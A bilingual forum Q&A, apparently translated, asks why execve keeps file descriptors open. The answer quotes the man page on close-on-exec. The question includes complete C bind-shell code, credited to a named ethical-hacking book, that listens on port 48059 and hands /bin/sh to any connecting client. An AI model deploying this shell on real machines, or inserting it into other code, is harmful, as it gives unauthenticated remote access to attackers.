为什么使用 execve 创建远程 shell 不会覆盖文件描述符和套接字?

Why creating a remote shell using execve doesn't overwrite file descriptors and socket?

所以我从 Gray Hat Hacking: The Ethical Hacker's Handbook, Fourth Edition 中得到了这段代码:

#include<sys/socket.h>                 // libraries used to make a socket
#include<netinet/in.h>                 // defines the sockaddr structure
int main(){
        char * shell[2];               // prep for execve call
        int server,client;             // file descriptor handles
        struct sockaddr_in serv_addr;  // structure to hold IP/port vals
        server=socket(2,1,0);   // build a local IP socket of type stream
        serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
        serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
        serv_addr.sin_family=2;   // set native protocol family: IP
        bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
        listen(server,0);         // enter listen state, wait for connect
        client=accept(server,0,0);// when connect, return client handle
        /*connect client pipes to stdin,stdout,stderr */
        dup2(client,0);                // connect stdin to client
        dup2(client,1);                // connect stdout to client
        dup2(client,2);                // connect stderr to client
        shell[0]="/bin/sh";            // first argument to execve
        shell[1]=0;                    // terminate array with null
        execve(shell[0],shell,0);      // pop a shell
}

根据execve man page

execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

那么 socket() 的 return 值不应该被覆盖吗?如果我理解得很好的话,它是一个文件描述符?
不应该将文件描述符 stdinstdoutstderr 的重定向重置为默认值吗? 如果是这样,该程序如何运行?
我可能误解了有关 execve() 函数或文件描述符的某些内容。或者我可能完全误解了 socket() 函数。 文件描述符不是存储在堆栈中,也不是存储在 bss 部分中吗?

当通过 exec 函数之一执行新程序时,文件描述符 不会 关闭。如果是,就无法将终端中的 stdin / stdout / stderr 附加到正确的位置。

您错过了以下段落:

By default, file descriptors remain open across an execve(). File descriptors that are marked close-on-exec are closed; see the description of FD_CLOEXEC in fcntl(2). (If a file descriptor is closed, this will cause the release of all record locks obtained on the underlying file by this process. See fcntl(2) for details.) POSIX.1 says that if file descriptors 0, 1, and 2 would otherwise be closed after a successful execve(), and the process would gain privilege because the set-user_ID or set-group_ID mode bit was set on the executed file, then the system may open an unspecified file for each of these file descriptors. As a general principle, no portable program, whether privileged or not, can assume that these three file descriptors will remain closed across an execve().